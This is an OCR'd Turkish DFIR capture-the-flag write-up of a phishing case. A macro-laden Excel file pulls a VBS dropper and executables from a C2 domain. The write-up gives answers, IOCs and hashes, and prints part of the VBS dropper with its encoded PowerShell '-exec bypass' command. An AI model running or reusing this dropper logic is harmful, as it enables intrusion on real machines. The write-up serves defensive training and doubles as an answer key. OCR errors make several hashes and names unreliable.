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Vakaya Genel Bakis

SoC ekibi sistemleri izlerken Rick Martin adindaki yeni bir ¢alisanin sistemine dosya indirilip koti amacli
yazihm calistinldigina dair birtakim uyarilar aldi. Calisan sorguya cekildiginde olay hakkinda hicbir fikri ve
dahili olmadigini belitmesinin yani sira, kéti amacli yazilimin kendi kullanici hesabindan yararlanmis
olabilecegini soyledi. DFIR ekibi olayl analiz etmek igin sistemden birtakim imajlar aldi ve incelemeye
koyuldu.

Kimileri Rick Martin’in bizzat olayin arkasinda oldugunu ve yasa disi ortakliklari icin dosyalari calistirdigini
soylerken, saldirganin koétu niyetli bir baglanti yoluyla sistemi ele gecirmis olabilecegi de dolanan laflar
arasinda. Siphelinin teknik bilgi bakimindan oldukca zayif oldugu biliniyor. Her sey “insan Kaynaklari” ekibi
tarafindan “Sirket Genelinde Saglik Taramasi” adiyla gonderilen Excel dosyasi dolduruldugunda oldu. Excel
lizerinde “Viicut Kitle indeksi” hesaplayan calisan bilgisayarinda birtakim gariplikler gérdiikten sonra bir
network dinleme araci calistirarak sUreci izlemeye basladi.

DFIR Ekibinin Cikarmis Oldugu Sonu¢

“The Chupacabra” kod adi verilen bu vakayi inceleyen DFIR ekibi personelleri buylik cogunlukla Rick
Martin’in masum oldugu kanisina vardi. Rick Martin’in olaylar yasanmadan hemen éncesinde mail adresine
giris yaptigl ve oradan indirdigi bir Excel dosyasini agmasiyla olaylarin zincirleme bir sekilde gelistigi tespit
edildi.

Elde Edilen Bilgiler

Saldirganlar Rick Martin’e ait ‘rickmartin.grimes@yandex.com’ mail adresine “BodyMassIndex.xlsm” adinda
bir Excel dosyas! gonderdiler. Excel dosyasinin icerisine yerlestirilmis olan “makro” Rick tarafindan dosyayi
doldurmak icin calstirildiginda “ofbahar.com” alan adini kullanan “68.183.67.198” IP adresli sunucu
Uzerinden “notmalware.vbs”, “BodyMassIndex.exe” ve “AccessToken.exe” isimlerinde biri VBS komut
dosyasli olmak Uzere U¢ dosya indirildigi gbruldu.

Hemen sonrasinda “ShellExecute” yardimiyla calistirilan “notmalware.vbs” dosyasi, Temp dizinin altinda
“notbadmalware.ps1” isimli bir “PowerShell script” olusturdu. Bu dosyanin igerisine glvenlik yazihmlarini
atlatabilmek adina Base64 algoritmasi kullanilarak encode edilmis bir kétl amach yuk (payload) yazildi.
Payload incelendiginde “AccessToken.exe” isimli bir baska zararli yaziimin cahlstinldigi gorilebiliyor. ilgili
zararlinin kullandig1 API'ler ve davranislari incelendiginde “Access Token Manipulation” adi verilen bir teknik
yardimiyla asil zararh olan “BodyMassIndex.exe” dosyasini yuksek haklarla sistemde ¢alistirdig1 gérulda.

“BodyMasslndex.exe”nin incelenmesi sonucunda makronun indirme faaliyetini gerceklestirdigi sunucu ile
C2 sunucusunun ayni oldugu ve port 27 Uizerinden haberlestigi tespit edildi. Saldirgan sisteme baglandiktan
sonra “Accounting” altinda yer alan bazi dékUmanlari “2022.7z” adinda bir arsiv dosyasi olarak sifreledi ve
“AdeoWasHere.png” adli bir resim dosyasi birakti. Kalicilik amaciyla “MrRobot” adiyla ikinci bir kullanici da
olusturdu fakat bu kullanici ile herhangi bir islem yapmadi.

“The Chupacabra” Olayinin Vaka Analizi
PwnLab.Me Siber Giivenlik Toplulugu 3
https://www.pwnlab.me/
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Teknik Taktik Prosedur, IOC ve C2 Bilgileri

TTP:

e MITRE ATT&CK Phishing: Spearphishing Attachment (T1566.001)

e MITRE ATT&CK Scripting (T1064)

e MITRE ATT&CHK Obfuscated Files or Information (T1027)

e MIRTE ATT&CK Command and Control (T1071.001)

e MITRE ATT&CHK Execution: Visual Basic (T1059.005)

o MITRE ATT&CHK Execution: PowerShell (T1059.001)

e MITRE ATT&CK Privilege Escalation, Defense Evasion: Access Token Manipulation (T1134)

e MITRE ATT&CK Data Encrypted for Impact (T1486)

e MITRE ATT&CK Persistence: Create Account (T1136)
I0C:

e “Body Mass Index.xlsm” (SHA1: 26¢f2e4cec935e279740dbcc28a0372259f1a7ce)

e “notamalware.vbs” (SHA1: 24f94f5645a9661f4d5d256d898161f7fa423645)

e “notabadmalware.ps1l” (SHA1: 2049dde53f7e9df4055d652e932711fa3f6cdd90

e “BodyMassIindex.exe” (SHA1: d97b255397485325514a621b3edef59f0b124a6c¢)

o “AccessToken.exe” (SHAL: dddchc36¢9dba7faa62105049b3d8c5c726caabf)

o “AdeoWasHere.png” (SHAL1: 0ac09b91d62e091a37624e7c20b08f3f5ecclcBb)
C2:

e 68.183.67.198

Domain: “ofbahar.com”
Saldirida kullanilmayan fakat ayni sunucuya bagl olan alternatif domain: “hokeren.com”

Genel Bilgiler:

e Sunucu firmasi: DigitalOcean

e Domain kayit firmasi: GoDaddy

e Sunucu Lokasyon: Aimanya / Germany

e Domain Lokasyon: ABD / United States

o Kalicilhk saglamak icin kullanilan kullanici hesabi: “MrRobot”

o Kalicilik saglanan kullanici hesabinin parolasi: “password”

“The Chupacabra” Olayinin Vaka Analizi
PwnLab.Me Siber Giivenlik Toplulugu 4
https://www.pwnlab.me/
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Soru 1: PcaP dosyasinin baslangi¢ ve bitis tarihi nedir?

First packet time: 2022-03-23 11:36:20.451181
Last packet time: 2022-03-23 11:57:03.755703

ilk ve son tarihi bulabilmek icin vakada verilen “PcaP” dosyasini "capinfos chupcabra_CTF_2022.pcap" komutu ile
kontrol ettik. Asagidaki bilgilerle karsilastik.

kali@kali: ~/Desktop/Chupacabra/OnlineCTF-2022

Actions Edit View Help

-[~/Desktop/Chupacabra/OnlineCTF-2022
= chupacabra CTF 2022.pcap
File name: chupacabra_CTF_2022.pcap
File type: Wireshark/tcpdump/ ... - pcap
File encapsulation: Ethernet
File timestamp precision: microseconds (6)
Packet size limit: file hdr: 262144 bytes
Number of packets: 33 k
File size: 31 MB
Data size: 30 MB
Capture duration: 1243.304522 seconds
First packet time: 2022-03-23 11:36:20.451181
Last packet time: 2022-03-23 11:57:03.755703
Data byte rate: 24 kBps
Data bit rate: 196 kbps
Average packet size: 901.60 bytes
Average packet rate: 27 packets/s
SHA256: 21f469ea0c9214a5ad2f577b24b68d2eab276000b4afes46522Ff8acsd
3ea7d5d8
RIPEMD160: c5fb668833d1706924680793eb71fb71becebffd
SHA1: cbfda5051436b28f2722cb94ecda2e876e474dbl
Strict time order: True
Number of interfaces in file: 1
Interface #@ info:
Encapsulation = Ethernet (1 - ether)
Capture length 262144
Time precision microseconds (6)
Time ticks per second = 1000000
Number of stat entries = 0@
Number of packets = 33851

Soru 2: PcaP dosyasinin SHA256 Degeri Nedir?
Cevap: 21f469ea0c9214a5ad2f577b24b68d2ea6276000b4dafe46522f8acbd3ea7d5d8

Pcap dosyamizin SHA256 degerini bulabilmek icin yine “capinfos” kullanabilecegimiz gibi “sha256sum”
yardimiyla da gereken bilgiyi elde edebiliriz.

“The Chupacabra” Olayinin Vaka Analizi
PwnLab.Me Siber Giivenlik Toplulugu S)
https://www.pwnlab.me/
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Soru 3: Etkilenen bilgisayarin IP adresi, MAC adresi, ana bilgisayar
adi ve isletim sistemi nedir?

Malware bulasan bilgisayarin IP adresini “Wireshark” araci ile HTTP isteklerini incelerken bulduk. File
> Export Objects > HTTP diyerek HTTP Uzerinden giden ve gelen verileri gérlntlleyebiliyoruz. Burada
malware’in iletisimini goérlyoruz, haliyle zararl bulasan makinein IP adresine erisebiliyoruz.

IP: 192.168.43.26

@®

QResEF & 5

@ Q Q it

| tcp.stream eq 81

Jo. Time Source
11614 2022-03-23 18:38:04,814067 192.168.43.26
11618 2022-03-23 18:38:04,843833 68.183.67.198
11619 2022-03-23 18:38:04,843895 192.168.43.26

- 11620 2022-03-23 18:38:94,845793'5192.168.43.26
11622 2022-03-23 18:38:04,877878 68.183.67.198
11626 2022-03-23 :04,920447 68.183.67.198

11627

2022-03-2 :04,945507 192.168.43.26

Destination
68.183.67.198
192.168.43.26
68.183.67.198

{ 68.183.67.198

192.168.43.26
192.168.43.26
68.183.67.198

Protocol  Length

TCP 66
TCP 66
TCP 54
HTTP 224
TCP 60
HTTP 952

Info

49519 > 8@ [SYN]
80 - 49519 [SYN,
49519 > 80 [ACK]
GET /notamalware.
80 - 49519 [ACK]
HTTP/1.1 288 OK
49519 - 80 [RST,

Seq=6 Win:
ACK] Seq=t
Seg=1 Ack:
vbs HTTP/:
Seq=1 Ack:

MAC adresine erismek icinse ARP isteklerini filtreleme islemine tabi tutuyoruz. Burada malware
bulasan bilgisayarin IP adresini arattigimizda, hemen yaninda MAC adresinin de yer aldig| gorulebilir.

MAC: 08:00:27:9f:7b:d1

Hostname bilgisine ulasabilmek icin NBNS (NetBIOS Name Service) protokoltnu

aradigimiz seye rastliyoruz.

Hostname: RICKMARTIN

(1 [z [X]

No. Time Source Destination Protocol  Length Info
13819 2022-83-23 18:38:12,712521 26:13:c4:45:13:fc Broadcast ARP 68 Who has 192.168.43.267 Tell 192.168.43.1
13820 2022-93-23 18:38:12,712546 PcsCompu_SF:7bidl 26:13:ca:85:13:1fc arp 42 192.168.43.26 is at @8:80:27:5F:7bid1
13822 2022-83-23 18:38:15,762306 26:13:c4:45:13:fc Broadcast ARP 68 Who has 192.168.43.1797 Tell 192.168.43.1
16043 2022-03-23 18:38:34,306659 26:13:c4:45:13:fc Broadcast ARP 6@ Who has 192.168.43.1347 Tell 192.168.43.1
17172 2022-93-23 18:38:35,301551 26:13:c4:45:13:Fc Broadcast ARP 6@ Who has 192.168.43.134? Tell 192.168.43.1
20588 2022-03-23 18:38:36,303205 26:13:¢4:45:13:c Broadcast ARP 6@ Who has 192.168.43.1347 Tell 192.168.43.1
21970 2022-93-23 18:38:38,931737 26:13:¢4:45:13:f¢ - ARP 6@ Whe as 192.168.43.1797 Tell 192.168.43.1
21973 2022-03-23 18:38:39,351437 26:13:c4:45:13:fc Br ARP 60 Who 92.168.43.267 Tell 192.168.43.1
21974 2022-03-23 18:38:39,351458 PcsCompu_9F:7b:d1 26:13:¢4:45:13: Fc ARP [7= 152.165.45.36 iz at @B:00:27:57:7b:d1
21984 2022-03-23 18:38:39,894608 26:13:c4:45:13:fc Broadcast ARP 5 Who has 192.168.43.1347 Tell 192.168.43.1

Erams 31074 47 hutae an wirs (136 hite) 49 hutse rantoead (136 hite)

filtreliyoruz ve

ﬂ [ nbns I E
No. Time Source Destination Protocol  Length Info
11170 2022-83-23 1B:37:26,360058 192.168.43.26 192.168.43.255 NBNS 92 Name query NE WPAD<DO>
11180 2022-03-23 18:37:26,763585 192.168.43.26 192.168.43.255 NBNS 92 Name query NB WPAD<@®8>
11184 2022-83-23 18:37:27,110644 192.168.43.26 192.168.43.255 NBNS 92 Name query NB WPAD<®8>
11218 2822-83-23 1B:37:28,611876 192.168.43.26 192.168.43.255 NBNS I 92 Name query NB RICKMARTIN<Ic>
11222 2022-83-23 18:37:28,856348 192.168.43.26 192.168.43.255 NBNS 92 Name query NBE WPAD<DO>
11223 2022-03-23 18:37:29,363277 192.168.43.26 192.168.43.255 NBNS 92 Name query NB RICKMARTIN<1c>
11224 2022-83-23 18:37:29,613430 192.168.43.26 192.168.43.255 NENS 92 Name query NB WPAD<®8>
11225 2022-83-23 18:37:30,121133 192.168.43.26 192.168.43.255 NBNS 92 Name query NB RICKMARTIN<Ic>
11226 2022-83-23 18:37:30,372358 192.168.43.26 192.168.43.255 NBNS 92 Name query NB WPAD<OO>
11244 2022-83-23 1B:37:31,459386 192.168.43.26 192.168.43.255 NBNS 92 Name guery NE WPAD<BO>

Frame 11218: 92 bvtes on wire (736 bits). 92 bvtes caotured (736 bits)

“The Chupacabra” Olayinin Vaka Analizi
PwnLab.Me Siber Glvenlik Toplulugu
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Isletim sistemi bilgisine ise “E01” disk imajindan ulastik.

“C:\Users\RickMartinGrimes\AppData\Local\Temp” dizinin altinda yer alan “Microsoft .NET Framework
4.7.2 Setup_20220323_061415257.html” dosyasinin icerisinde isletim sistemine ait birtakim bilgiler
bulunmaktadir.

File View Mode Help
aas g dBa mRLOB I ERR .,
Evidence Tree File List
9 Users A Name Size Type Date Modified A
O All Users - : 9 5 .
& Default dd_wcf_CA_smci_2022032.. 3 Regular F.. 23.03.2022 13...
2 Default User dd_wcf_CA_smci_2022032... 2 File Slack
; 42“'1":4 FXSAPIDebuglLogFile.txt 0 Regular F.. 23.03.2022 23:..
= B =
Jpr:r',::f"m% @ Microsoft .NET Framework ... 1.195 Regular F.. 23.03.2022 13:..
O Local Microsoft .NET Framework ... 2 File Slack
< Application Data Microsoft .NET Framework ... 12.865 Regular F... 23.03.2022 13:...
i Cooge @ Microsoft .NET Framework .. 1175 Regular F.. 23.03.2022 13...
O History
5 Microsoft Microsoft .NET Framework ... 2 File Slack v
5 Programs |
& Temp - A
5 Tomperay remet Fes Installation Log
2 VirtualStore
112 Locall.ow
Ha Roamlﬂgr‘ + | Message Types: 1 Errors (] Verbose (1 Messages
Anniinatinn Nata
Custom Content Sources Message Details: 1 Date Time Summary Expand All Collapse All |
Evidence:File System|Path|... Options © 2009 Microsoft Corporation. All rights reserved. Terms of Use.

OS Version Information:
OS Version = 6.1.7601, SP = 1.0, Platform 2, Service Pack 1
OS Description = Win7 - x64 Service Pack 1
ersion Information
Installer version details:
MSI=5.0.7601.17514
Windows version = amd64_windowsfoundation_31bf3856ad364e35_6.1.7601.17514_none_615fdfe2a739474c.manifest
Windows servicing = 6.1.7601.17514
Installer version details
Environment details:
CommandLine = C:\72f7ac5d45b1bbb766c210\\Setup.exe /x86 /x64 /web
TimeZone = Pacific Daylight Time
New) [FEaity |RE Eamave s e ; Initial LCID = 1033 v

Enmviranmant dataile

Custom Content ... |

For lser Guide press F1

Bunu teyit etmek icin RAM imajini da kontrol ettik. Volatility’de bulunan imageinfo komutu ile imaj ile
ilgili bilgi almaktayiz.

./volatil _2.6_lin64_st imageinfo .. /chupacabra CTF 2022.raw

Volatility Foundation Volatility Framework 2.6

INFO : volatility.debug : Determining profile based on KDBG search ...

Suggested Profile(s) : Win7SP1x64, Win7SP@x64, Win2008R2SPOx64, Win2008R2SP1x64_ 23418, Win2008R2SP1x64, Win7SP1x64_ 23418
AS Layerl : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/home/yusuf/Desktop/chupacabra_CTF_2022.raw)
PAE type : No PAE
DTB : ©x187000L

KDBG : 0xf800027f20a0L

Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU @ : oxfffff800027f3dooL
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2022-03-23 15:56:26 UTC+0000
Image local date and time : 2022-03-23 08:56:26 -0700

Cevap:

1P: 192.168.43.26

MAC: 08:00:27:9f:7b:d1
Hostname: RICKMARTIN

0S: Windows 7 Professional (x64)

“The Chupacabra” Olayinin Vaka Analizi
PwnLab.Me Siber Giivenlik Toplulugu 7
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Soru 4: Koty amach yazilim hangi IP adresi ve port Uzerinden iletisim
kuruyor?

Zararh yazihmin iletisim kurdugu IP ve port bilgisini Wireshark tGzerinde inceleme yaparak elde
edebilecegimiz gibi, elimizdeki 6rnekleri tersine mihendislik teknikleriyle inceleyerek veya herhangi bir
sandbox ortaminda kosturarak da 6grenebiliriz. “BodyMassindex.exe” dosyasina IDA Pro ile goz
attigimizda “68.183.67.198” IP adresine 27 numarall port Gzerinden baglanti kurdugunu goérlyoruz.

 J
bl s =
loc_4@81858:
lea rax, [rbp+6l@htvar_66@]
mow r8d, 38h ; '8’
mow edx, @
mov rcx, rax
call memset
mov [rbpt+6l@h+var_65C], 2
mov [rbpt+6l@h+var_658], 1
mov [rbpt+6l@h+var_654], 6
lea rdx, [rbp+6l8h+var_58]
lea rax, [rbp+6l@htvar_66@]
mow r9, rdx
mov rg, rax
lea rdx, a27 ;3 "2
lea rcx, ab8l8367198 ; "63.183.67.198"
mov rax, €s:_ imp_getaddrinfo
call rax ; _ imp_getaddrinfo
mov [rbp+6l@h+var_1C], eax
cmp [rbp+&l@h+var_1C], @
jz short loc_4818DA

loc_4@18DA:

mov rax, [rbp+6l@htvar_58]
mov [rbp+6l@h4var_18], rax
Jmp loc_4@19C5

vy

FIZE

loc_4819C5:
cmp [rbpt+61l@h+var_1@], @
jnz loc_4@818ED

Cevap: “68.183.67.198" ve “27”

“The Chupacabra” Olayinin Vaka Analizi
PwnLab.Me Siber Giivenlik Toplulugu 8
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Soru 5; Zararh Yazilimin C2 Domaini Nedir?

Zararh yazihmin irtibat kurdugu IP adreslerini veya dogrudan zararlinin kendisini VirusTotal Uzerinde
kontrol ettigimizde ilgili IP adresinin “ofbahar.com” ve “hokeren.com” isimli alan adlarini ¢ézdtugunu
goruyoruz. Ornek vakada “hokeren.com” alan adi kullanilmadigi icin onu kapsama almiyoruz.

Z 68.183.67.198 Y | 2

-
2 (1) 2 security vendors flagged this IP address as malicious
68.183.67.198 (68.183.0.0/16) DE
]
AS 14061 ( DIGITALOCEAN-ASN )
X v
DETECTION DETAILS RELATIONS COMMUNITY
Passive DNS Replication ]
Date resolved Detections Resolver Domain
2021-03-10 /89 VirusTotal www.ofbahar.com
2020-09-10 /89 VirusTotal ofbahar.com
2019-11-28 /89 VirusTotal www.hokeren.com
2019-11-28 /89 VirusTotal hokeren.com

Ping atarak da durumu kontrol edebiliriz.

[c5] C:\Users\Akil GUNDOGAN\Ap X +

C:\Users\Akil GUNDOGAN>ping ofbahar.com

Pinging ofbahar.com [68.183.67.198] with 32 bytes of data:
Reply from 68.183.67.198: bytes=32 time=74ms TTL=49
Reply from 68.183.67.198: bytes=32 time=74ms TTL=49
Reply from 68.183.67.198: bytes=32 time=73ms TTL=49
Reply from 68.183.67.198: bytes=32 time=73ms TTL=49

Ping statistics for 68.183.67.198:

Packets: Sent = 4, Received = 4, Lost = © (0% loss),
Approximate round trip times in milli-seconds:

Minimum = 73ms, Maximum = 74ms, Average = 73ms

C:\Users\Akil GUNDOGAN>

Cevap: “ofbahar.com”

“The Chupacabra” Olayinin Vaka Analizi
PwnLab.Me Siber Giivenlik Toplulugu 9
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Soru é: Sistemi Etkileyen Kotu Amaclh Dosyalarnn Adlan Nelerdir?
Sistemi etkileyen kotu amagli dosyalarin ne oldugunu 6grenebilmek igin 6ncelikle olayin basladig
“Excel” dosyasini incelememiz gerekiyor. llk olarak Excel dosyasinin icindeki makroyu inceliyoruz. Bu
makro sayesinde bir adet “Visual Basic Script” dosyasi ve iki adet “.EXE” inmektedir.

Ayni tespite Wireshark ile paketleri inceledigimzde de variyoruz.

'

Text Filter: ‘ Content Type: All Content-Types
Packet Hostname Content Type Size Filename 2
706 ctldl.windowsupdate.com application/x-x509-ca-cert 867 bytes D69B561148F01C77C54578C10926DF5B856976AD.crt?4d2¢
6826  ctldl.windowsupdate.com application/x-x509-ca-cert 546 bytes 1F24C630CDA418EF2069FFAD4FDD5F463A1B69AA crt?8c2¢
11275 edgedl.me.gvtl.com application/octet-stream 5585 bytes khaoiebndkojlmppeemjhbpbandiljpe_48_win_ccfl2wvh5b5kb
11626 ofbahar.com application/octet-stream 636 bytesl notamalwarevbs |
11641 edgedl.me.gvtl.com application/octet-stream 7856 bytes hfnkpimlhhgieaddgfemjhofmfblmnib_7232_all_acakkq2ptd3
13752 ofbahar.com application/octet-stream 1934 kB | BodyMassIndex.exe
13782 ofbahar.com application/octet-stream 14 kB accesstoken.exe
13801 edgedl.me.gvtl.com application/octet-stream 11 kB hfnkpimlhhgieaddgfemjhofmfblmnib_7232_all acakkq2ptd?
13815 edgedl.me.gvtl.com application/octet-stream 6223 bytes hfnkpimlhhgieaddgfemjhofmfblmnib_7232_all acakkq2ptd3
13875 edgedl.me.gvtl.com application/octet-stream 10 kB lacigpblnllgegjnjnlimfolckpjlhki_1.0.7.1642025427 all_aclznv
13963 edgedl.me.gvtl.com application/octet-stream 38 kB gkmgaooipdjhmangpemjhigmamcehddo_99.279.200_win64
14096 edaedlme.avti.com anblication/octet-stream 96 kR akmaaooindihmananamihioamameeahddo 99.279.200 wink4

“notamalware.vbs” dosyasi ise herhangi bir sey indirmiyor, sadece ayri bir PowerShell dosyasi
olusturuyor.
[ notamalware vbs L:]‘H wotabadpower

Dim filesys, filetxt, getname, pat
Set filesys = CreateObjec

file

.c
oshell.Run : . , 0, True
B notamalware vt 1 notabadpowershetps1 £
powershell -enc UwBOAGEAcGEOACOAUABYAGEAYWELAHMACWAGAEMAOGBCAFUACWE 1AEIACWECAF IAaQB | AGSATQBhAHIAJABPAGA ARWBYAGKALQB 1 AHMAXABEARAACABEAGEAIABRAFWATABVAC A

Cevap: “notamalware.vbs”, “accesstoken.exe”, “BodyMassIndex.exe”, “Body Mass Index.xlsm”

“The Chupacabra” Olayinin Vaka Analizi
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Soru 7: Kotu Amach Yazilimlarnn Hashleri Nelerdir?

Sistemi etkileyen kot amacl yazilimin hash bilgileri raporun basinda 10C olarak verdigimiz degerlerle
aynidir. FTK veya herhangi bir EO1 inceleme yetenegi bulunan yazilim ile imajdan ilgili dosyalar elde

edilebilir.

e “notamalware.vbs” (SHAL: 24f94f5645a9661f4d5d256d898161f7fa423645)

e “notbadmalware.psl” (SHALl: 2049dde53f7e9df4055d652e932711fa3f6cdd90

e “BodyMassIindex.exe” (SHAL: d97b255397485325514a621b3edef59f0b124a6¢)
e “AccessToken.exe” (SHA1: dddcbc36¢9dba7faa62105049b3d8c5c726¢caabf)

Soru 8: Kimlik Avi Saldirisi Hangi Mail Platformu Uzerinden Geldi?

FTK yardimiyla EO1 imajimizdan tarayicilara ait gecmis bilgilerini goruntuleyebiliyoruz. Kullanicinin
“Yandex.Mail” hesabina giris yaptigl ve saglikla ilgili kendisine gelen maili actiktan sonra olaylarin
gelistigini buradan anlayabiliriz.

File Content

= [[Text [ Filtered | Notural
B (31/31)

| [ CrrometromserFies (31/31) 2022 14:04:46 +0000 1
B e (1

2022 15:36:34 +0000 1

: a
= FEroneer (53759
) Internet Shortcut ( 12/ 12)

2022 15:36:43 +0000 1

2022 15:36:44 +0000 1
2022 15:36:44 +0000 1

2022 15:36:58 +0000 1
ile List

dE S L B W - =7 @ & | [internet History -] bsplay &
[ Ttem # | Last Visit Tme

~) History R4S 2022 15:37:08 +0000 1

2022 15:37:10 +0000 1

2022 15:37:08 +0000 1

2022 15:37:10 +0000 1

2022 15:37:11 +0000 1

2022 15:37:17 +0000 1

“
<

oaded: 1 Filtered: 1 Total: 1 Highiighted: 1 Checked: 14 Total Lsize: 140,0KB

File Content | Properties

https://www.facebook.com/

https://mail.yandex.com.tr/

https://passport.yandex.com.tr/auth?
from=mail&origin=hostraot_homer_auth_tr&retpath=https://mail.yandex.com tr/&backpath=https://mail.yandex.com.tr?
noretpath=1

https://passport.yandex.com tr/auth?
from=mail&origin=hostroot_homer_auth_tr&retpath=https://mail.yandex.com.tr/&backpath=https://mail yandex.com.tr?
noretpath=1

https://passport.yandex.com.tr/auth?

from=mail&origin=hostreot_homer_auth_tr&retpath=https://mail.yandex.com tr/&backpath=https://mail.yandex.com.tr?
noretpath=1

https://passpert.yandex.com tr/auth/welcome?
from=mail&origin=hostroot_homer_auth_tr&ratpath=https://mail.yandex.com.tr/&backpath=https://mail yandex.com.tr?
noratpath=1

https://passport.yandex.com.tr/auth/list?
from=mail&origin=hostroot_homer_auth_traratpath=https://mail.yandex.com.tr/&backpath=https://mail yandex.com.tr?
noretpath=1&mode=edit

https://mail.yandex.com.tr/

https://mail.yandex.com.tr/ #inbox

https://mail.yandex.com.tr/ #tabs/relevant

https://mail.yandex.com.tr/?uid=1580511354#tabs/relevant

Facebook -
Giris Yap
veya
Kaydol
Gelen
Kutusu —
Yandex. Mail

Girig

Giris

Girig

Giris

Giris

Gelen
Kutusu —
Yandex. Mail
Gelen
Kutusu —
‘Yandex.Mail
Gelen
Kutusu —
Yandex. Mail
Gelen
Kutusu —
Yandex.Mail

(STWILHY 92A% | G | BIPa | Yinepa

https://mail.yandex.com.tr/?uid=1580511354¥message/178736610211266569

E-posta
“Company-
wide
Health
Screening”
— Hazel
Hunsaker

Yandex.Mail

Hex Interpreter

¥

Fumacabra CTE 2022.F01/Partifinn 2/NONAME INTES!/Trnatl/Users/RickMattinGrim </ AnnData/l ncal/Grnnle /Chrame/ Ucer Data/Default/Histan

Cevap: “Yandex Mail”

“The Chupacabra” Olayinin Vaka Analizi
PwnLab.Me Siber Glvenlik Toplulugu
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Soru 9: Saldirgan Tarafindan Olusturulan Kullanici Hesabi ve Sifresi
Nedir?

Saldirgan tarafindan olusturulan kullaniclyl bulmak icin EventLog’lari yani olay kayitlarini inceledik.
EventLog’larda Security kisminda bulunan 4720 ID’li log yeni bir kullanici olusturuldugunda,
olusmaktadir. Bu yluzden 4720 ID’li logu filtreledigimizde, “MrRobot” isimli bir kullanicinin olusturuldugu
gorulmektedir.

Security  Olay sayisi: 1451

Diizey Tarih ve Saat Kaynak Olay Ki.. Gorev Kategorisi -
Hl @ Bilgi 23.03.2022 16:44:23 Micros... 4904  Audit Policy Change

® Bilgi 23.03.2022 16:44:15 Micros... 4672 Special Logon

@ Bilgi 23.03.2022 16:44:15 Micros.. 4624 Logon

®Bi|gi 23.03.2022 16:44:14 Micros... 4672 Special Logon

@ Bilgi 23.03.2022 1644:14 Micros... 4624 Logon "

Olay 4720, Microsoft Windows security auditing. x

Genel  Ayrintilar

Oturum Acma Kimligi: 0x3E7 ~
Yeni Hesap:

Guivenlik Kimligi: S-1-5-21-1317116276-3394102102- 2644462213-1004

Hesap Adi: MrRobot |

Hesap Etki Alani: RickMartin
Oznitelikler:

SAM Hesabi Adr MrRohot ¥

Ganlik Adr: Guivenlik

Kaynak: Microsoft Windows security auditi Gunlige kaydedilen: 23032022 18:52:39

Olay Kimligi: 4720 Garev Kategorisi: User Account Management
Dizey: Bilgi Anahtar Sozcikler:  Denetleme Basarisi
Kullanici: Yok Bilgisayar: RickMartin

Islem kodu: Bilgi

Ek Bilgi: Olay Gunlugu Cevrimici Yardimi

Olusturulan kullanicinin parola hashini brute force ile kirmaya calistigimizda parolasi “password” olarak belirledik.

Hle Type External Windows Registry: NT Hash — Rainbow Tables attack possible, Hardware acceleration possible
“omplexity e Brute-force - Fast
Accounts' passwords Administrator Password is empty

Guest no password is set

HomeGroupUsers Mot found

MrRobot password

RickMartinGrimes Password is empty

Cevap: “MrRobot:password”

“The Chupacabra” Olayinin Vaka Analizi
PwnLab.Me Siber Giivenlik Toplulugu 12
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Soru 10: Saldirgan Hangi Dosyayi Degistirdi?

Saldirganin hazirlamis oldugu “.xlsm” dosyasi ¢alistiriildiktan hemen sonra “notamalware.vbs” isimli bir
scriptin “ofbahar.com” adresinden cekildigini biliyoruz.

Bu scripti inceledigimizde ise Temp dizini altinda dnce “notbadmalware.ps1” adinda bir PS1 dosyasi

olusturdugunu ve icerigini kdti amach yazihmi ¢alistiracak Base64 ile encode edilmis bir PowerShell
komutu ile degistirdigini goriyoruz.

Butun bu incelemeleri EO1 imajini FTK Uzerinde acarak gerceklestirebilirsiniz.

Fle Edit View FEvidence Fiter Tools Manage Help

Fiter: | -unfiltered -

~| _Fiter vanager [EE

=

aL

/Explore [Overview [Email [Graphics [Video [Intemet/Chat [Bookmarks [Live Search [index Search [System Information [Volatile

a
" Evidence ltems 4 b File Content
ga Sextend # (e Tect | Fitered | Natural|
S Recyce.Bin
(2] sseaure

-COIE) Accounting
715 Documents and Settings
L) Perflogs

View Text As: |Windows 1253 (Latin 1, ANSI) -

im filesys, filebd, getname, path
Set filesys = CreateObject("Scripting.FileSystemObject”)

Set filetd = filesys.CreateTextFile("C: pp acal\Temp hell.ps1”, True)
I Program Fles filebxt. WriteLine ("powershell -enc
() Program Files (x36) u g y GAEMAOGBCAFU) QBJAGSATQBh. p. y 1 TABVAGMAY Q] J!
)i Programbata awBzAFQAbWBrAGUABGAUAGUAEABIAA==")
LI Recovery Set oshell = CreateObject{"Wscript.sheil")
-C)I) System Volume Information filebet. Close
T Users oshell.Run "powershell -exec bypass C:\User ppData\Local\Te psl”, 0, True
C/E5) All Users.
C)/5) Default
) oefauituser FromBasebd - CyberChef X + o X
LI Public
= B% RickMartinGrimes <« (¢] O 8 nttpsy/gcha.github.io/CyberChef/#recipe=From_Base64(A-Za-20-9%28/%3D" true)&input=VXdCMEFHRUFZOWQUMWQV\ 77 & =
) AppData
B Local . . - Lo ) A
2 Aopicatan Data Download CyberChef ¥ Last build: 24 days ago Options &% About / Support (@)
Lo Google Q — =
Operations Recipe B E npu + O3 8=
Search UWBBAGEACEBBACBAUABYAGBAYWB1AHMA CWAGAEMAOZBCAFUACWBLAHTACWBCAFIAaQB jAGSATQBhAHI]
E-E) Temp Search... From Base64
> Temperary Internet Fles AdABpAGAARWBYAGKADQB LAHMAXABBAHAACABEAGEAJABhAFWATABVAGMAYQBSAFWAVABLAGOACAB CAE]
5 Virtualstore Favourites 'S Alphabet [EAYWB ] AGUA CWBZAFQAbUBPrAGUADEAUAGUACABAA==]
5 Locallow A-Za-20-9+/=
) Reaming N
5 Appication Data To Base64
/) Contacts start: e
B o o Bt Remove non-alphabet chars Output 150 £
/) Desktop
gDDU“J”’E”B T S.t.a.r.t.-.P.r.o.c.e.s.s. .C.:.\.U.s.e.r.s.\.R.i.c.k.M.a.r.t.i.n.G.r.i.m.e.s.
5 Downloads o Hex 5 5
) ponniead \.A.p.p.D.a.t.a.\.L.0.c.a.1.\.T.e.m.p.\.A.c.c.e.5.5.T.0.k.e.n...e.x.e.
ile List From Hex - %
. STEP 4> BAKE! ]
FFE L v B W & | [0 Normal M| AT Auto Bake B
| Name Label [Ext [ Path To Lol v - . . . - . ~
msohtmicip chupacabra_CTF_2022.E01/Partition 2/NONAME [NTFS]/[reot] L Folder 88 488 23.03.2022 18:48:53 (2022-03-23 15:48:53 UTC) 23.02.2022 18:48:53 (2022-03-23 15:48
